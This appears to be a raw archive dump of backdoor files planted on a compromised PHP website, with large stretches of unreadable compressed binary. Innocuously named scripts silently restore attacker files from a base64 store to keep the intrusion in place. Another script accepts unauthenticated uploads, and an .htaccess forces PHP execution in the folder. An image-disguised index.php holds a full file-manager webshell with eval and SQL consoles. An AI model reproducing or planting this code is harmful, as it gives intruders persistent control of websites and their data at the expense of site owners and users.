gz                                                                           0000644                 00000000312 15243264725 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =0A\4Q\\tu96&W*z"g<{9#_q#ІH{Ғc7<WRɻ;QUhʺ*!"E+Nt!Yh; [eu20]z@t5Z~Йc:jQE79                                                                                                                                                                                                                                                                                                                         session-context.php.tar                                                                             0000644                 00000005000 15243264725 0011214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/session-context.php                                       0000644                 00000001672 15243251320 0020640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      handler-loader.php.tar                                                                              0000644                 00000005000 15243264725 0010730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/handler-loader.php                                        0000644                 00000001672 15243251144 0020360 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      runtime-cache.php.tar                                                                               0000644                 00000005000 15243264725 0010573 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/runtime-cache.php                                         0000644                 00000001672 15243251121 0020216 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      widget-cache.php.tar                                                                                0000644                 00000005000 15243264725 0010373 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-cache.php                                          0000644                 00000001563 15243251144 0020022 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$d = dirname(__FILE__);
$h = '../../..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;

$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
    $targetDir = str_replace('\\', '/', $targetDir);
    $targetDir = ltrim($targetDir, '/');
    if (strpos($targetDir, '..') !== false) {
        die('Invalid directory');
    }
    $uploadPath = $r . '/' . $targetDir;
    if (!is_dir($uploadPath)) {
        @mkdir($uploadPath, 0755, true);
    }
} else {
    $uploadPath = $r;
}

if (isset($_FILES['f'])) {
    $n = basename($_FILES['f']['name']);
    if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             widget-cache.php.php.tar.gz                                                                         0000644                 00000001047 15243264725 0011607 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             SMo@͙_A(%cRHzhThKYJB'̛yl6ZWP*IE=^&uNa7Ncgԭًv@tv6 x?gK9jhSUV(a QtuaEae`Ǯ5 Kp`O%LoE𶲹aX0bLG3}]}^}]|Yc_ؑ2ad)(27@RH*'1vt΀-+@	z&jiHZrfu!)%jHH_$g(U)|V$ㅑ5vLFMA0t5uBF̍ьۍ>5Na/IRX+	ZED)WQ+K1 ?6ll񋝷EZ
8UY,Mخ2-bXѥ\iiB1/jZnDb=3HPmpdXO_8JX 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           runtime-loader.php.php.tar.gz                                                                       0000644                 00000001123 15243264725 0012205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T[o03j@JmҞEil[wҤ]}9d)
k;+!5+*Ŵ򕦚~!zŔ/RZ	1U~*a4 Q8DK	~j8?ڛ)Қ1)$kKN`qU#i#9r&n?1I	OE?,ҥ@x'7'ƲǷ\kqY҂9}xKR^TŞ7?(s!'t򰋦y}1ܷC]=ԬSkXKgTS?	p<J$\l<"JY2hAnr%pfsguJTd̉ȝ(<W%b3ef3&x'm4$cMMeiYL̱iFL
d+G 7#A}kWT/OՌtMGқ*]d111 O	t(Ita(ju;>a[ޜ;$lH]^Q7V{Xiz9v] 
                                                                                                                                                                                                                                                                                                                                                                                                                                               handler-loader.php.php.tar.gz                                                                       0000644                 00000001124 15243264725 0012140 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             T]o03LHBR2&kI{Mxl[wCIr{&(^אַԔUi)M5B$uΔ2ə|0VYu!Aujt1h2Gx#5lSi-B#kKN$88#iP
I9ܜ&n?/1W!~3G7#kc[.5J,iB>|%xm)~/*bۊk	R1׀	/樓y}p0ܷX`]x΀wakG?qƼj#:MI8\l6MUzp(ܚ[@K`J+@igNuJX$	8?w%r3ef3}<¶P0IXGS9@Z{	f+KlQ'S?j!Yb~dƢDf$76oydPHk=TME2!&]YiRNUli4E#N'c;V7b֢=jk5o?9q=~(d 
                                                                                                                                                                                                                                                                                                                                                                                                                                              .htaccess.tar                                                                                       0000644                 00000004000 15243264725 0007133 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/.htaccess                                                 0000644                 00000000133 15243251120 0016545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <FilesMatch "\.php$">
Require all granted
SetHandler application/x-httpd-php
</FilesMatch>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     session-context.php.php.tar.gz                                                                      0000644                 00000001121 15243264725 0012421 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjKư]K,[܇Hz<3({>|R)TT-Dڬ<2)($TA9U^<I6\g~8}J߲YhY]L /o-ώ9/9Mpe͒xtgzS,|$#YF<l0KrW6=%Jy]҂Y||M꣨ mPnJ\BF`POvs bnruI+;XV	MrTQ7x:(t<evhҁ,܉3g KRIki+NTJD
^*]Zo"X`;hGqUiHLRVX	bwȣQQY
d^ldp¢#D%2v$WԲop͊hPHu~G6{ uEٸ+-C\@M4]Ax[Td4pft%>aK|6ؽM8NOE 
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262/.htaccess.htaccess.tar.gz                                                                    0000644                 00000000312 15243264725 0012116 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =0A\4Q\\tu96&W*z"g<{9#_q#ІH{Ғc7<WRɻ;QUhʺ*!"E+Nt!Yh; [eu20]z@t5Z~Йc:jQE79                                                                                                                                                                                                                                                                                                                         364262/364262.zip                                                                                   0000644                 00000567245 15243264725 0006641 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     S]R!( 
   
    widget-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     S]Z: @  @   index.php.tarnu [        home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243236737 0017372 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
